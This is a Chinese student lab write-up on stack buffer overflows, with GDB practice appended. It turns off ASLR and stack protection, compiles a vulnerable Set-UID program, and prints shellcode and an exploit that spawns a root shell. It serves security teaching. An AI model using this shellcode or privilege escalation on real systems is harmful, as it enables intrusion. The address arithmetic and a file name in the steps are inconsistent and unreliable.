学习缓冲区溢出的意义
- 概念解释:
- 缓冲区溢出:程序试图向缓冲区写入超出预分配固定长度数据的情况。
- 缓冲区溢出漏洞:由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。
- 缓冲区溢出攻击:通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。
缓冲区溢出漏洞实验
实验准备
为搭建32位操作环境,方便观察汇编语句,我们进行以下操作:
- 输入以下三个命令安装用于编译32位C程序的工具:
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
- 若执行第一条更新命令时,如出现“无法获得锁/var/lib/dpkg/lock”的情况,是因为系统中只允许有一个apt-get进程
- 解决思路是:先看看有没有其他窗口在使用资源,正在进行更新,或者软件中心正在安装等,再将其关闭,最后重启虚拟机。
具体步骤如下:- 输入“ps -aux”查找最后一列以“update”或“apt-get ”开头的进程,并记住该进程的PID;
- 输入“sudo kill 该进程的PID”结束该进程。
2.输入命令linux32
进入32位linux环境(如图1-1),执行该命令后观察终端窗口最上方可发现已经进入32位linux环境(前后对比图如1-2所示),接着输入/bin/bash
使用bash,结果如图1-3所示:
(图1-1)
(图1-2)
(图1-3)
实验步骤
1.初始设置
(1) 缓冲区溢出攻击的关键是猜测内存地址,所以为了方便我们对地址的猜测,我们使用sudo sysctl -w kernel.randomize_va_space=0
命令类关闭“地址空间随机化”这一功能,(请注意这里是++sysctl++而不是++sysct1++)如图2-1所示:
(图2-1)
Ubuntu和其他一些Linux系统中,地址空间随机化来随机堆(heap)和栈(stack)的初始地址。
sudo sysctl -w kernel.randomize_va_space=0
命令详细分析如下:- sysctl命令用于运行时配置内核参数,还可以设置或重新设置联网功能。
- -w参数用于临时改变某个指定参数的值。格式为「 sysctl [-n] [-e] -w variable=value」
- 设置全局变量 randomize_va_space 值为 0 (该值默认为1),可以让程序的栈和 mmap 映射区域从一个固定位置开始。
为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现。
- 在这里对“shell程序”、“Set-UID程序”进行详细解释,方便大家理解:
- shell是用户使用Unix/Linux的桥梁。shell程序是一支程序,它由输入设备读取命令,再将其转为计算机可以了解的机械码,然后执行它,即计算机用来解释你输入的命令然后决定进行何种处理的程序。
- shell与bash的关系:Unix/Linux上常见的Shell脚本解释器有bash、sh、csh、ksh等,习惯上把它们称作一种Shell,其中bash是Linux标准默认的shell。
- “Set-UID”:当一个具有执行权限的文件设置SetUID权限后,用户执行这个文件时将以文件所有者的身份执行。例如“passwd”命令具有SET-ID权限,所以可以作为root执行命令。这里由于shell程序的防护措施,即使某个shell被赋予了SetID权限也无法保持root权限任意执行命令。
(2)设置zsh程序
linux系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。
- 对/bin/sh的详细介绍:
- /bin/sh相当于 /bin/bash --posix,即使用 sh 调用执行脚本相当于打开了bash 的 POSIX 标准模式
- 运行
ls -l /bin/sh
结果如图2-2所示:
- 根据对ls -l指令的了解,我们知道,第一个字母“l”表示该文件是一个链接文件。字母"l"是link(链接)的缩写,类似于windows下的快捷方式 ;后面的 “->" 箭头符号后面跟着的是这个链节文件所指向的文件名。
- 链节文件:分为硬链接或符号链接(软链接)两种。硬链接实际上是为文件建一个别名,链接文件和原文件实际上是同一个文件。;而软链接建立的是一个指向,即链接文件内的内容是指向原文件的指针,它们是两个文件。
- bash 的 POSIX 标准模式:当“$0”是“sh”的时候,bash程序执行时要求下面的代码遵循一定的规范,当不符合规范的语法存在时,则会报错所以可以将“sh”理解成一种标准(POSIX),这种标准,在一定程度上保证了脚本的跨系统性(跨UNIX系统)
为了重现“shell程序在被调用时自动放弃它们的特权”这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash。命令如下:
1. sudo su
2. cd /bin
3. rm sh
4. ln -s zsh sh
5. exit
-
命令分析如下:
- sudo su 命令缺省参数时表示“使用超级用户权限切换为root账户模式”。
- ln命令用来为文件创件连接,默认为硬链接,加参数-s则创建符号链接,类似于Windows下创建了一个文件夹的快捷方式。结果:将zsh(源文件)链接到sh(目标文件)。
-
运行结果如图2-3所示:
(图2-3)
如果是用自己的虚拟机进行实验,实验结束后一定要把sh修改回来,步骤和上述步骤相同,先进入linux32,再进入/bin/bash,输入以下命令:
1. sudo su
2. cd /bin
3. rm sh
4. ln -s dash sh
5. exit
2.shellcode
一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。
本次实验的shellcode就是下方代码的汇编版本“\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80”:
#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
在64位的机器上产生32位汇编:
gcc -m32 -g shellcode.c -o shellcode
3.漏洞程序
在“/tmp”目录下保存以下代码为“stack.c”:
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);//将主函数中读入的文件内容装入“buffer”
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");//读取一个名为“badfile”的文件
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
- 编译该程序,并设置SET-UID:
1. sudo su
2. gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
3. chmod u+s stack
4. exit
- 详细解释:
- GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制;
- -z execstack 用于允许执行栈;
- -m32 -g 在64位的机器上产生32位汇编。
4.攻击程序
-
目的:攻击刚才的漏洞程序“stack”,并通过攻击获得root权限。
-
步骤:
- 1.在“/tmp”目录下保存以下代码为“stack.c”:
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);//shellcode保存在 buffer+100 的位置
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
注意上面的代码,“\x??\x??\x??\x??”处需要添上shellcode保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。
- 2.运行命令```gdb stack``进入调试状态后,输入“disass main”指令后运行结果如图2-4所示:
(图2-4)
- 3.依次输入以下命令:
q//退出
b *0x080484e8//在0x080484e8位置设断点
r//运行
i r $esp//获取str首地址
运行结果如图2-5所示:
(图2-5)
- 4.根据语句 strcpy(buffer+100,shellcode); 我们计算shellcode的地址为 0xffffd020(十六进制)+100(十进制)=0xffffd084(十六进制)。
- 5.将exploit.c文件中的\x??\x??\x??\x?? 修改为\x14\xd2\xff\xff。
- 解释:地址0xffffd214对应的路径为\x14\xd2\xff\xff。
- 5.编译exploit.c程序
gcc -m32 -o exploit exploit.c
5.攻击结果
- 先用
./exploit
运行攻击程序exploit,再用./stack
运行漏洞程序stack,观察结:- 出现“段错误”,错误结果如图2-5所示:
- 攻击成功获得root权限,利用
whoami
查询后发现是root。
- 出错解决方案:重新使用gdb反汇编,计算内存地址。
- 按上述方法操作后仍然出现段错误怎么办?
GDB调试汇编堆栈过程课堂实践
- 代码样例week060420155312.c:
int g(int x){
return x+3;
}
int f(int x){
int i = 学号后两位;
return g(x)+i;
}
int main(void){
return f(8)+1;
}
- 命令汇总:
- 使用“gcc -g week060420155312.c -o week0604 -m32”产生32位汇编,生成可执行文件week0604
- gdb week0604:使用gdb调试器
- (以下为在调试状态下的输入)b 10:在主函数处设置行断点
- r:运行
- disassemble:显示当前所处函数的反汇编机器码
- i r:显示各寄存器的值
- display /i $pc:每次执行下一条汇编语句时,均打印出当前执行的代码
- si:执行下一条汇编语句
- x/参数 + 栈指针的值:以参数规定的形式查看栈中某地址单元中的值。eg:x/u 0xffffcfe8;x/2a 0xffffcfe0
f函数执行的整个过程中,各寄存器和栈中的变化情况如下图所示:
参考资料
1.linux ls -l 详解
2.bash的POSIX标准
3.ln命令
4.GDB调试汇编堆栈过程分析